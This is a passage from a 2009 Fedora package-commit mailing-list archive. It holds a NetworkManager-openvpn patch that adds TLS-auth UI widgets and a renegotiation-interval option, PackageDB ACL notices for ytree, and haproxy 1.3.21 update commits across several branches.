+		    <widget class="GtkLabel" id="direction_label">
+		      <property name="visible">True</property>
+		      <property name="label" translatable="yes">Key Direction:</property>
+		      <property name="use_underline">False</property>
+		      <property name="use_markup">False</property>
+		      <property name="justify">GTK_JUSTIFY_LEFT</property>
+		      <property name="wrap">False</property>
+		      <property name="selectable">False</property>
+		      <property name="xalign">0</property>
+		      <property name="yalign">0.5</property>
+		      <property name="xpad">0</property>
+		      <property name="ypad">0</property>
+		      <property name="ellipsize">PANGO_ELLIPSIZE_NONE</property>
+		      <property name="width_chars">-1</property>
+		      <property name="single_line_mode">False</property>
+		      <property name="angle">0</property>
+		    </widget>
+		    <packing>
+		      <property name="left_attach">0</property>
+		      <property name="right_attach">1</property>
+		      <property name="top_attach">1</property>
+		      <property name="bottom_attach">2</property>
+		    </packing>
+		  </child>
+		</widget>
+		<packing>
+		  <property name="left_attach">1</property>
+		  <property name="right_attach">2</property>
+		  <property name="top_attach">2</property>
+		  <property name="bottom_attach">3</property>
+		</packing>
+	      </child>
+
+	      <child>
+		<widget class="GtkCheckButton" id="tls_auth_checkbutton">
+		  <property name="visible">True</property>
+		  <property name="can_focus">True</property>
+		  <property name="label" translatable="yes">Use additional TLS authentication</property>
+		  <property name="use_underline">True</property>
+		  <property name="relief">GTK_RELIEF_NORMAL</property>
+		  <property name="focus_on_click">True</property>
+		  <property name="active">False</property>
+		  <property name="inconsistent">False</property>
+		  <property name="draw_indicator">True</property>
+		</widget>
+		<packing>
+		  <property name="left_attach">0</property>
+		  <property name="right_attach">2</property>
+		  <property name="top_attach">1</property>
+		  <property name="bottom_attach">2</property>
+		</packing>
+	      </child>
+
+	      <child>
+		<widget class="GtkLabel" id="label19">
+		  <property name="visible">True</property>
+		  <property name="label" translatable="yes">Cipher:</property>
+		  <property name="use_underline">False</property>
+		  <property name="use_markup">False</property>
+		  <property name="justify">GTK_JUSTIFY_LEFT</property>
+		  <property name="wrap">False</property>
+		  <property name="selectable">False</property>
+		  <property name="xalign">0</property>
+		  <property name="yalign">0.5</property>
+		  <property name="xpad">0</property>
+		  <property name="ypad">0</property>
+		  <property name="ellipsize">PANGO_ELLIPSIZE_NONE</property>
+		  <property name="width_chars">-1</property>
+		  <property name="single_line_mode">False</property>
+		  <property name="angle">0</property>
+		</widget>
+		<packing>
+		  <property name="left_attach">0</property>
+		  <property name="right_attach">1</property>
+		  <property name="top_attach">0</property>
+		  <property name="bottom_attach">1</property>
+		  <property name="y_options"></property>
+		</packing>
+	      </child>
+
+	      <child>
+		<widget class="GtkComboBox" id="cipher_combo">
+		  <property name="visible">True</property>
+		  <property name="items" translatable="yes"> </property>
+		  <property name="add_tearoffs">False</property>
+		  <property name="focus_on_click">True</property>
+		</widget>
+		<packing>
+		  <property name="left_attach">1</property>
+		  <property name="right_attach">2</property>
+		  <property name="top_attach">0</property>
+		  <property name="bottom_attach">1</property>
+		  <property name="y_options"></property>
+		</packing>
+	      </child>
+	    </widget>
+	    <packing>
+	      <property name="tab_expand">False</property>
+	      <property name="tab_fill">True</property>
+	    </packing>
+	  </child>
+
+	  <child>
+	    <widget class="GtkLabel" id="label18">
+	      <property name="visible">True</property>
+	      <property name="label" translatable="yes">Certificates (TLS)</property>
+	      <property name="use_underline">False</property>
+	      <property name="use_markup">False</property>
+	      <property name="justify">GTK_JUSTIFY_LEFT</property>
+	      <property name="wrap">False</property>
+	      <property name="selectable">False</property>
+	      <property name="xalign">0.5</property>
+	      <property name="yalign">0.5</property>
+	      <property name="xpad">0</property>
+	      <property name="ypad">0</property>
+	      <property name="ellipsize">PANGO_ELLIPSIZE_NONE</property>
+	      <property name="width_chars">-1</property>
+	      <property name="single_line_mode">False</property>
+	      <property name="angle">0</property>
+	    </widget>
+	    <packing>
+	      <property name="type">tab</property>
+	    </packing>
+	  </child>
+	</widget>
+	<packing>
+	  <property name="padding">0</property>
+	  <property name="expand">False</property>
+	  <property name="fill">False</property>
+	</packing>
+      </child>
+    </widget>
+  </child>
+</widget>
+
 </glade-interface>
diff -Naur NetworkManager-openvpn-0.7.0/src/nm-openvpn-service.c NetworkManager-openvpn-0.7.0.reneg/src/nm-openvpn-service.c
--- NetworkManager-openvpn-0.7.0/src/nm-openvpn-service.c	2008-12-20 19:13:07.000000000 +0530
+++ NetworkManager-openvpn-0.7.0.reneg/src/nm-openvpn-service.c	2009-10-12 10:02:34.000000000 +0530
@@ -100,6 +100,7 @@
 	{ NM_OPENVPN_KEY_TA,                   G_TYPE_STRING, 0, 0, FALSE },
 	{ NM_OPENVPN_KEY_TA_DIR,               G_TYPE_INT, 0, 1, FALSE },
 	{ NM_OPENVPN_KEY_USERNAME,             G_TYPE_STRING, 0, 0, FALSE },
+	{ NM_OPENVPN_KEY_RENEG_SECONDS, G_TYPE_INT, 0, G_MAXINT, FALSE },	
 	{ NULL,                                G_TYPE_NONE, FALSE }
 };
 
@@ -669,6 +670,22 @@
 			add_openvpn_arg (args, tmp);
 	}
 
+
+	/* Reneg seconds */
+	tmp = nm_setting_vpn_get_data_item (s_vpn, NM_OPENVPN_KEY_RENEG_SECONDS);
+	if (tmp && strlen (tmp)) {
+		add_openvpn_arg (args, "--reneg-sec");
+		if (!add_openvpn_arg_int (args, tmp)) {
+			g_set_error (error,
+			NM_VPN_PLUGIN_ERROR,
+			NM_VPN_PLUGIN_ERROR_BAD_ARGUMENTS,
+			"Invalid reneg seconds '%s'.",
+			tmp);
+			free_openvpn_args (args);
+			return FALSE;
+		}
+	}
+
 	/* Syslog */
 	add_openvpn_arg (args, "--syslog");
 	add_openvpn_arg (args, "nm-openvpn");
diff -Naur NetworkManager-openvpn-0.7.0/src/nm-openvpn-service.h NetworkManager-openvpn-0.7.0.reneg/src/nm-openvpn-service.h
--- NetworkManager-openvpn-0.7.0/src/nm-openvpn-service.h	2008-12-20 19:13:06.000000000 +0530
+++ NetworkManager-openvpn-0.7.0.reneg/src/nm-openvpn-service.h	2009-10-12 10:02:56.000000000 +0530
@@ -62,6 +62,7 @@
  * required for the connection.
  */
 #define NM_OPENVPN_KEY_NOSECRET "no-secret"
+#define NM_OPENVPN_KEY_RENEG_SECONDS "reneg-seconds"
 
 #define NM_OPENVPN_CONTYPE_TLS          "tls"
 #define NM_OPENVPN_CONTYPE_STATIC_KEY   "static-key"


Index: NetworkManager-openvpn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager-openvpn/EL-5/NetworkManager-openvpn.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- NetworkManager-openvpn.spec	12 Oct 2009 03:46:08 -0000	1.8
+++ NetworkManager-openvpn.spec	12 Oct 2009 04:49:05 -0000	1.9
@@ -10,7 +10,7 @@ Summary: NetworkManager VPN plugin for O
 Name: NetworkManager-openvpn
 Epoch:   1
 Version: 0.7.0
-Release: 18.%{svn_snapshot}%{?dist}.2
+Release: 18.%{svn_snapshot}%{?dist}.3
 License: GPLv2+
 URL: http://www.gnome.org/projects/NetworkManager/
 Group: System Environment/Base
@@ -24,6 +24,7 @@ Source: %{name}-%{version}.%{svn_snapsho
 Patch0: NetworkManager-openvpn-0.7.0-keyring.patch
 Patch1: NetworkManager-openvpn-0.7.0-route.patch
 Patch2: NetworkManager-openvpn-0.7.0-cipher.patch
+Patch3: NetworkManager-openvpn-0.7.0-reneg.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-root
 BuildRequires: gtk2-devel                 >= %{gtk2_version}
@@ -110,6 +111,9 @@ fi
 %dir %{_datadir}/gnome-vpn-properties/openvpn
 
 %changelog
+* Mon Oct 12 2009 Huzaifa Sidhpurwala <huzaifas at redhat.com> 1:0.7.0-18.svn11.3
+- Add option for custom reneg intervals (rh #490971)
+
 * Mon Oct 12 2009 Huzaifa Sidhpurwala <huzaifas at redhat.com> 1:0.7.0-18.svn11.2
 - Fix Routing issues with EL-5 build (rh #525646)
 - Fix issue where cipher type is not stored in gconf



From pkgdb at fedoraproject.org  Mon Oct 12 05:26:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 05:26:04 +0000
Subject: [pkgdb] ytree had acl change status
Message-ID: <20091012052604.3E25110F875@bastion2.fedora.phx.redhat.com>

mintojoseph has set the watchbugzilla acl on ytree (Fedora devel) to Approved for sundaram

To make changes to this package see:
  /pkgdb/packages/name/ytree



From pkgdb at fedoraproject.org  Mon Oct 12 05:26:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 05:26:04 +0000
Subject: [pkgdb] ytree had acl change status
Message-ID: <20091012052604.42DD910F87E@bastion2.fedora.phx.redhat.com>

mintojoseph has set the watchcommits acl on ytree (Fedora devel) to Approved for sundaram

To make changes to this package see:
  /pkgdb/packages/name/ytree



From pkgdb at fedoraproject.org  Mon Oct 12 05:26:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 05:26:06 +0000
Subject: [pkgdb] ytree had acl change status
Message-ID: <20091012052606.8B30A10F8A3@bastion2.fedora.phx.redhat.com>

mintojoseph has set the commit acl on ytree (Fedora devel) to Approved for sundaram

To make changes to this package see:
  /pkgdb/packages/name/ytree



From pkgdb at fedoraproject.org  Mon Oct 12 05:26:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 05:26:08 +0000
Subject: [pkgdb] ytree had acl change status
Message-ID: <20091012052608.A561110F8A8@bastion2.fedora.phx.redhat.com>

mintojoseph has set the approveacls acl on ytree (Fedora devel) to Approved for sundaram

To make changes to this package see:
  /pkgdb/packages/name/ytree



From pkgdb at fedoraproject.org  Mon Oct 12 05:26:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 05:26:40 +0000
Subject: [pkgdb] ytree: mintojoseph has requested watchbugzilla
Message-ID: <20091012052640.3FE4310F87E@bastion2.fedora.phx.redhat.com>

mintojoseph has requested the watchbugzilla acl on ytree (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ytree



From pkgdb at fedoraproject.org  Mon Oct 12 05:26:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 05:26:41 +0000
Subject: [pkgdb] ytree: mintojoseph has requested watchcommits
Message-ID: <20091012052641.37E6210F88B@bastion2.fedora.phx.redhat.com>

mintojoseph has requested the watchcommits acl on ytree (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ytree



From pkgdb at fedoraproject.org  Mon Oct 12 05:26:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 05:26:41 +0000
Subject: [pkgdb] ytree: mintojoseph has requested commit
Message-ID: <20091012052641.A98B810F8A8@bastion2.fedora.phx.redhat.com>

mintojoseph has requested the commit acl on ytree (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ytree



From pkgdb at fedoraproject.org  Mon Oct 12 05:26:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 12 Oct 2009 05:26:43 +0000
Subject: [pkgdb] ytree: mintojoseph has requested approveacls
Message-ID: <20091012052643.578FE10F850@bastion2.fedora.phx.redhat.com>

mintojoseph has requested the approveacls acl on ytree (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ytree



From jjh at fedoraproject.org  Mon Oct 12 06:14:48 2009
From: jjh at fedoraproject.org (jjh)
Date: Mon, 12 Oct 2009 06:14:48 +0000 (UTC)
Subject: rpms/haproxy/devel .cvsignore, 1.15, 1.16 haproxy.spec, 1.22,
	1.23 sources, 1.15, 1.16
Message-ID: <20091012061448.2B1CA11C00DB@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12959

Modified Files:
	.cvsignore haproxy.spec sources 
Log Message:
update to 1.3.21


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/devel/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	12 Oct 2009 03:14:40 -0000	1.15
+++ .cvsignore	12 Oct 2009 06:14:45 -0000	1.16
@@ -1,2 +1,3 @@
 haproxy-1.3.19.tar.gz
 haproxy-1.3.20.tar.gz
+haproxy-1.3.21.tar.gz


Index: haproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/devel/haproxy.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- haproxy.spec	12 Oct 2009 03:14:40 -0000	1.22
+++ haproxy.spec	12 Oct 2009 06:14:45 -0000	1.23
@@ -5,7 +5,7 @@
 %define haproxy_datadir %{_datadir}/haproxy
 
 Name:           haproxy
-Version:        1.3.20
+Version:        1.3.21
 Release:        1%{?dist}
 Summary:        HA-Proxy is a TCP/HTTP reverse proxy for high availability environments
 
@@ -127,6 +127,9 @@ fi  
 
 
 %changelog
+* Mon Oct 12 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.21-1
+- update to 1.3.21
+
 * Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.20-1
 - update to 1.3.20
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/devel/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	12 Oct 2009 03:14:40 -0000	1.15
+++ sources	12 Oct 2009 06:14:45 -0000	1.16
@@ -1,2 +1 @@
-24d9a068d582758a388f538ae0b307d6  haproxy-1.3.19.tar.gz
-e37046e0cb2f407d92c41d7731d1dd10  haproxy-1.3.20.tar.gz
+d591cc9aca0b81ea8ccda8db958c1f44  haproxy-1.3.21.tar.gz



From jjh at fedoraproject.org  Mon Oct 12 06:22:02 2009
From: jjh at fedoraproject.org (jjh)
Date: Mon, 12 Oct 2009 06:22:02 +0000 (UTC)
Subject: rpms/haproxy/devel haproxy.cfg,1.2,1.3
Message-ID: <20091012062202.A3AA911C00DB@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15060

Modified Files:
	haproxy.cfg 
Log Message:
remove incorrect doc path from cfg


Index: haproxy.cfg
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/devel/haproxy.cfg,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- haproxy.cfg	12 Oct 2009 03:14:40 -0000	1.2
+++ haproxy.cfg	12 Oct 2009 06:22:01 -0000	1.3
@@ -4,8 +4,6 @@
 #
 #   http://haproxy.1wt.eu/download/1.3/doc/configuration.txt
 #
-# or locally in /usr/share/doc/haproxy-1.3.20/
-#
 #---------------------------------------------------------------------
 
 #---------------------------------------------------------------------



From jjh at fedoraproject.org  Mon Oct 12 06:22:46 2009
From: jjh at fedoraproject.org (jjh)
Date: Mon, 12 Oct 2009 06:22:46 +0000 (UTC)
Subject: rpms/haproxy/EL-4 .cvsignore, 1.13, 1.14 haproxy.cfg, 1.2,
	1.3 haproxy.spec, 1.17, 1.18 sources, 1.13, 1.14
Message-ID: <20091012062246.BD4D411C00DB@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15187/EL-4

Modified Files:
	.cvsignore haproxy.cfg haproxy.spec sources 
Log Message:
update to 1.3.21


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/EL-4/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	12 Oct 2009 03:26:32 -0000	1.13
+++ .cvsignore	12 Oct 2009 06:22:46 -0000	1.14
@@ -1,2 +1,3 @@
 haproxy-1.3.19.tar.gz
 haproxy-1.3.20.tar.gz
+haproxy-1.3.21.tar.gz


Index: haproxy.cfg
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/EL-4/haproxy.cfg,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- haproxy.cfg	12 Oct 2009 03:26:32 -0000	1.2
+++ haproxy.cfg	12 Oct 2009 06:22:46 -0000	1.3
@@ -4,8 +4,6 @@
 #
 #   http://haproxy.1wt.eu/download/1.3/doc/configuration.txt
 #
-# or locally in /usr/share/doc/haproxy-1.3.20/
-#
 #---------------------------------------------------------------------
 
 #---------------------------------------------------------------------


Index: haproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/EL-4/haproxy.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- haproxy.spec	12 Oct 2009 03:26:32 -0000	1.17
+++ haproxy.spec	12 Oct 2009 06:22:46 -0000	1.18
@@ -5,7 +5,7 @@
 %define haproxy_datadir %{_datadir}/haproxy
 
 Name:           haproxy
-Version:        1.3.20
+Version:        1.3.21
 Release:        1%{?dist}
 Summary:        HA-Proxy is a TCP/HTTP reverse proxy for high availability environments
 
@@ -125,6 +125,9 @@ fi  
 
 
 %changelog
+* Mon Oct 12 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.21-1
+- update to 1.3.21
+
 * Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.20-1
 - update to 1.3.20
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/EL-4/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	12 Oct 2009 03:26:32 -0000	1.13
+++ sources	12 Oct 2009 06:22:46 -0000	1.14
@@ -1,2 +1 @@
-24d9a068d582758a388f538ae0b307d6  haproxy-1.3.19.tar.gz
-e37046e0cb2f407d92c41d7731d1dd10  haproxy-1.3.20.tar.gz
+d591cc9aca0b81ea8ccda8db958c1f44  haproxy-1.3.21.tar.gz



From jjh at fedoraproject.org  Mon Oct 12 06:22:47 2009
From: jjh at fedoraproject.org (jjh)
Date: Mon, 12 Oct 2009 06:22:47 +0000 (UTC)
Subject: rpms/haproxy/EL-5 .cvsignore, 1.13, 1.14 haproxy.cfg, 1.2,
	1.3 haproxy.spec, 1.17, 1.18 sources, 1.13, 1.14
Message-ID: <20091012062247.262B711C00DB@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15187/EL-5

Modified Files:
	.cvsignore haproxy.cfg haproxy.spec sources 
Log Message:
update to 1.3.21


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/EL-5/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	12 Oct 2009 03:27:26 -0000	1.13
+++ .cvsignore	12 Oct 2009 06:22:46 -0000	1.14
@@ -1,2 +1,3 @@
 haproxy-1.3.19.tar.gz
 haproxy-1.3.20.tar.gz
+haproxy-1.3.21.tar.gz


Index: haproxy.cfg
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/EL-5/haproxy.cfg,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- haproxy.cfg	12 Oct 2009 03:27:26 -0000	1.2
+++ haproxy.cfg	12 Oct 2009 06:22:46 -0000	1.3
@@ -4,8 +4,6 @@
 #
 #   http://haproxy.1wt.eu/download/1.3/doc/configuration.txt
 #
-# or locally in /usr/share/doc/haproxy-1.3.20/
-#
 #---------------------------------------------------------------------
 
 #---------------------------------------------------------------------


Index: haproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/EL-5/haproxy.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- haproxy.spec	12 Oct 2009 03:27:26 -0000	1.17
+++ haproxy.spec	12 Oct 2009 06:22:46 -0000	1.18
@@ -5,7 +5,7 @@
 %define haproxy_datadir %{_datadir}/haproxy
 
 Name:           haproxy
-Version:        1.3.20
+Version:        1.3.21
 Release:        1%{?dist}
 Summary:        HA-Proxy is a TCP/HTTP reverse proxy for high availability environments
 
@@ -124,6 +124,9 @@ fi  
 
 
 %changelog
+* Mon Oct 12 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.21-1
+- update to 1.3.21
+
 * Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.20-1
 - update to 1.3.20
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/EL-5/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	12 Oct 2009 03:27:26 -0000	1.13
+++ sources	12 Oct 2009 06:22:46 -0000	1.14
@@ -1,2 +1 @@
-24d9a068d582758a388f538ae0b307d6  haproxy-1.3.19.tar.gz
-e37046e0cb2f407d92c41d7731d1dd10  haproxy-1.3.20.tar.gz
+d591cc9aca0b81ea8ccda8db958c1f44  haproxy-1.3.21.tar.gz



From jjh at fedoraproject.org  Mon Oct 12 06:22:47 2009
From: jjh at fedoraproject.org (jjh)
Date: Mon, 12 Oct 2009 06:22:47 +0000 (UTC)
Subject: rpms/haproxy/F-10 .cvsignore, 1.15, 1.16 haproxy.cfg, 1.2,
	1.3 haproxy.spec, 1.18, 1.19 sources, 1.15, 1.16
Message-ID: <20091012062247.7061A11C00DB@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15187/F-10

Modified Files:
	.cvsignore haproxy.cfg haproxy.spec sources 
Log Message:
update to 1.3.21


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-10/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	12 Oct 2009 03:23:03 -0000	1.15
+++ .cvsignore	12 Oct 2009 06:22:47 -0000	1.16
@@ -1,2 +1,3 @@
 haproxy-1.3.19.tar.gz
 haproxy-1.3.20.tar.gz
+haproxy-1.3.21.tar.gz


Index: haproxy.cfg
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-10/haproxy.cfg,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- haproxy.cfg	12 Oct 2009 03:23:03 -0000	1.2
+++ haproxy.cfg	12 Oct 2009 06:22:47 -0000	1.3
@@ -4,8 +4,6 @@
 #
 #   http://haproxy.1wt.eu/download/1.3/doc/configuration.txt
 #
-# or locally in /usr/share/doc/haproxy-1.3.20/
-#
 #---------------------------------------------------------------------
 
 #---------------------------------------------------------------------


Index: haproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-10/haproxy.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- haproxy.spec	12 Oct 2009 03:23:03 -0000	1.18
+++ haproxy.spec	12 Oct 2009 06:22:47 -0000	1.19
@@ -5,7 +5,7 @@
 %define haproxy_datadir %{_datadir}/haproxy
 
 Name:           haproxy
-Version:        1.3.20
+Version:        1.3.21
 Release:        1%{?dist}
 Summary:        HA-Proxy is a TCP/HTTP reverse proxy for high availability environments
 
@@ -127,6 +127,9 @@ fi  
 
 
 %changelog
+* Mon Oct 12 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.21-1
+- update to 1.3.21
+
 * Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.20-1
 - update to 1.3.20
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-10/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	12 Oct 2009 03:23:03 -0000	1.15
+++ sources	12 Oct 2009 06:22:47 -0000	1.16
@@ -1,2 +1 @@
-24d9a068d582758a388f538ae0b307d6  haproxy-1.3.19.tar.gz
-e37046e0cb2f407d92c41d7731d1dd10  haproxy-1.3.20.tar.gz
+d591cc9aca0b81ea8ccda8db958c1f44  haproxy-1.3.21.tar.gz



From jjh at fedoraproject.org  Mon Oct 12 06:22:47 2009
From: jjh at fedoraproject.org (jjh)
Date: Mon, 12 Oct 2009 06:22:47 +0000 (UTC)
Subject: rpms/haproxy/F-11 .cvsignore, 1.15, 1.16 haproxy.cfg, 1.2,
	1.3 haproxy.spec, 1.21, 1.22 sources, 1.15, 1.16
Message-ID: <20091012062247.BFD1911C00DB@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15187/F-11

Modified Files:
	.cvsignore haproxy.cfg haproxy.spec sources 
Log Message:
update to 1.3.21


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-11/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	12 Oct 2009 03:20:21 -0000	1.15
+++ .cvsignore	12 Oct 2009 06:22:47 -0000	1.16
@@ -1,2 +1,3 @@
 haproxy-1.3.19.tar.gz
 haproxy-1.3.20.tar.gz
+haproxy-1.3.21.tar.gz


Index: haproxy.cfg
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-11/haproxy.cfg,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- haproxy.cfg	12 Oct 2009 03:20:21 -0000	1.2
+++ haproxy.cfg	12 Oct 2009 06:22:47 -0000	1.3
@@ -4,8 +4,6 @@
 #
 #   http://haproxy.1wt.eu/download/1.3/doc/configuration.txt
 #
-# or locally in /usr/share/doc/haproxy-1.3.20/
-#
 #---------------------------------------------------------------------
 
 #---------------------------------------------------------------------


Index: haproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-11/haproxy.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- haproxy.spec	12 Oct 2009 03:20:21 -0000	1.21
+++ haproxy.spec	12 Oct 2009 06:22:47 -0000	1.22
@@ -5,7 +5,7 @@
 %define haproxy_datadir %{_datadir}/haproxy
 
 Name:           haproxy
-Version:        1.3.20
+Version:        1.3.21
 Release:        1%{?dist}
 Summary:        HA-Proxy is a TCP/HTTP reverse proxy for high availability environments
 
@@ -127,6 +127,9 @@ fi  
 
 
 %changelog
+* Mon Oct 12 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.21-1
+- update to 1.3.21
+
 * Sun Oct 11 2009 Jeremy Hinegardner <jeremy at hinegardner dot org> - 1.3.20-1
 - update to 1.3.20
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-11/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	12 Oct 2009 03:20:21 -0000	1.15
+++ sources	12 Oct 2009 06:22:47 -0000	1.16
@@ -1,2 +1 @@
-24d9a068d582758a388f538ae0b307d6  haproxy-1.3.19.tar.gz
-e37046e0cb2f407d92c41d7731d1dd10  haproxy-1.3.20.tar.gz
+d591cc9aca0b81ea8ccda8db958c1f44  haproxy-1.3.21.tar.gz



From jjh at fedoraproject.org  Mon Oct 12 06:22:48 2009
From: jjh at fedoraproject.org (jjh)
Date: Mon, 12 Oct 2009 06:22:48 +0000 (UTC)
Subject: rpms/haproxy/F-12 .cvsignore, 1.15, 1.16 haproxy.cfg, 1.2,
	1.3 haproxy.spec, 1.23, 1.24 sources, 1.15, 1.16
Message-ID: <20091012062248.0CC8D11C00DB@cvs1.fedora.phx.redhat.com>

Author: jjh

Update of /cvs/pkgs/rpms/haproxy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15187/F-12

Modified Files:
	.cvsignore haproxy.cfg haproxy.spec sources 
Log Message:
update to 1.3.21


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-12/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	12 Oct 2009 03:17:12 -0000	1.15
+++ .cvsignore	12 Oct 2009 06:22:47 -0000	1.16
@@ -1,2 +1,3 @@
 haproxy-1.3.19.tar.gz
 haproxy-1.3.20.tar.gz
+haproxy-1.3.21.tar.gz


Index: haproxy.cfg
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-12/haproxy.cfg,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- haproxy.cfg	12 Oct 2009 03:17:12 -0000	1.2
+++ haproxy.cfg	12 Oct 2009 06:22:47 -0000	1.3
@@ -4,8 +4,6 @@
 #
 #   http://haproxy.1wt.eu/download/1.3/doc/configuration.txt
 #
-# or locally in /usr/share/doc/haproxy-1.3.20/
-#
 #---------------------------------------------------------------------
 
 #---------------------------------------------------------------------


Index: haproxy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/haproxy/F-12/haproxy.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- haproxy.spec	12 Oct 2009 03:18:17 -0000	1.23
+++ haproxy.spec	12 Oct 2009 06:22:47 -0000	1.24
@@ -5,8 +5,8 @@
 %define haproxy_datadir %{_datadir}/haproxy
 
 Name:           haproxy
-Version:        1.3.20
-Release:        2%{?dist}
+Version:        1.3.21
+Release:        1%{?dist}
 Summary:        HA-Proxy is a TCP/HTTP reverse proxy for high availability environments
 
 Group:          System Environment/Daemons
@@ -127,6 +127,9 @@ fi  
 
 
 %changelog
